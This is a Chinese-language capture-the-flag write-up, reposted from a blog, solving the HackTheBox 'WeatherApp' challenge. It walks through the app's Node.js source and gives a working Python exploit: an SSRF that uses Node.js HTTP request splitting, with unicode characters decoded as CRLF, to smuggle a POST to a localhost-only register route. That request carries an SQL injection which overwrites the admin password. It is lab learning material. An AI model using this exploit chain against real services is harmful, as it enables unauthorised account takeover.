HackTherBox-WeatherApp

开启环境后发现提供题目源码的下载,解压后分析代码。部分关键代码粘贴如下。

通过分析源码发现是一个Node.js程序,分析routes/index.js文件,大概发现有四个路由地址,其中两个区分get、post请求

router.get('/', (req, res) => {}
router.get('/register', (req, res) => {}
router.post('/register', (req, res) => {}
router.get('/login', (req, res) => {}
router.post('/login', (req, res) => {}
router.post('/api/weather', (req, res) => {}

分析路由代码后发现拿到flag的条件是使用admin用户成功登录后台

router.post('/login', (req, res) => {
    let { username, password } = req.body;
    if (username && password) {
        return db.isAdmin(username, password)
            .then(admin => {
                if (admin) return res.send(fs.readFileSync('/app/flag').toString());
                return res.send(response('You are not admin'));
            })
            .catch(() => res.send(response('Something went wrong')));
    }
    return re.send(response('Missing parameters'));
});

通过分析database.js发现数据库为sqlite数据库,且发现数据表结构,发现主键为id,username有unique属性。

const sqlite = require('sqlite-async');
const crypto = require('crypto');
    async migrate() {
        return this.db.exec(
            DROP TABLE IF EXISTS users;

            CREATE TABLE IF NOT EXISTS users (
                id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                username   VARCHAR(255) NOT NULL UNIQUE,
                password   VARCHAR(255) NOT NULL
            );

            INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');
        );
    }

这里了解到在login路由中,提交执行的sql语句是经过预编译处理的,无法完成注入。

分析完login路由后分析register路由,

router.post('/register', (req, res) => {

    if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
        return res.status(401).end();
    }

    let { username, password } = req.body;

    if (username && password) {
        return db.register(username, password)
            .then(()  => res.send(response('Successfully registered')))
            .catch(() => res.send(response('Something went wrong')));
    }

    return res.send(response('Missing parameters'));
});

这里可以看到,register路由对来源地址做了限制,发起请求的地址必须是127.0.0.1,而且通过socket.remoteAddress获取请求地址,无法通过添加xff等http请求头绕过。

在向下分析,可以看到该路由将传入的username和password参数带入数据库处理

    async register(user, pass) {

        return new Promise(async (resolve, reject) => {
            try {
                let query = INSERT INTO users (username, password) VALUES ('${user}', '${pass}');
                resolve((await this.db.run(query)));
            } catch(e) {
                reject(e);
            }
        });
    }

这里我们发现执行的sql语句没有做预编译,也没有做过滤,所以这里可以通过sql注入获取密码,或者直接修改密码。(新建一个admin用户是行不通的)

这个路由会对一个url地址发起一个get请求,url地址和部分get参数可控。

let { endpoint, city, country } = req.body;
let apiKey = '10a62430af617a949055a46fa6dec32f';
let weatherData = await HttpHelper.HttpGet(http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey});

/api/weather分析到这里就没有思路了

思路卡住后去翻了大佬的WP,发现/api/weather其实存在一个ssrf,但是需要结合node.js的请求分割漏洞。

简单理解就是因为js发起请求时,对于没有请求体的请求方式(get、delete)默认会使用一个单字节的编码去解析请求的路径。而js在发起请求前对请求路径的处理则是使用多字节解析的unicode编码,这就导致在发起请求时单字节编码会将恶意设计好的unicode编码字符解析为控制字符,导致请求分割漏洞。

得到内网ssrf的方法后整理思路如下:

  • 向/api/weather发送特定数据包,触发ssrf漏洞
  • ssrf漏洞触发后将会向/register发送sql注入代码
  • sql注入代码执行后将admin用户的密码修改
  • 通过/login路由登录拿到flag
import requests
import urllib.parse

url = "http://157.245.45.1:30165"

username = "admin"
password = "admin') ON CONFLICT(username) DO UPDATE SET password='123456';--"

username = urllib.parse.quote(username)
password = urllib.parse.quote(password)
contentLen = len(f"username={username}&password={password}")

endpoint = \
    f"""127.0.0.1/ HTTP/1.1
Host: 127.0.0.1

POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {contentLen}

username={username}&password={password}

GET /?mmp="""

city = "abandon"
country = "abandon"

endpoint = endpoint.replace(" ", "\u0120").replace("\n", f"\u0D0A")

data = {}
data.update({"endpoint": endpoint})
data.update({"city": city})
data.update({"country": country})

print(data)

response = requests.post(url=url+"/api/weather", data=data)
print(response.status_code)

"""
data从python给到weather
这里不需要编码 python发送的数据包已经编码好了
weather接收到参数后提取参数,组成目标url
http://${endpoint}/data/2.5/weather?q=${city},${country}&
weather将向外发送数据
在发送数据时,endpoint部分不会url编码,而是被js解析,将其中所有的unicode字符转换为控制字符
之后register接收到username和password后先url解码,再带入数据库查询

所以复现过程应该是
username和password先url编码一次
放入endpoint中,将endpoing中的Content-length字段值计算好填入
之后将endpoint部分的控制字符替换为unicode编码
"""

Original: https://blog.csdn.net/UserNick157/article/details/126514682
Author: UserNick157
Title: HackTherBox-WeatherApp

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/816332/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球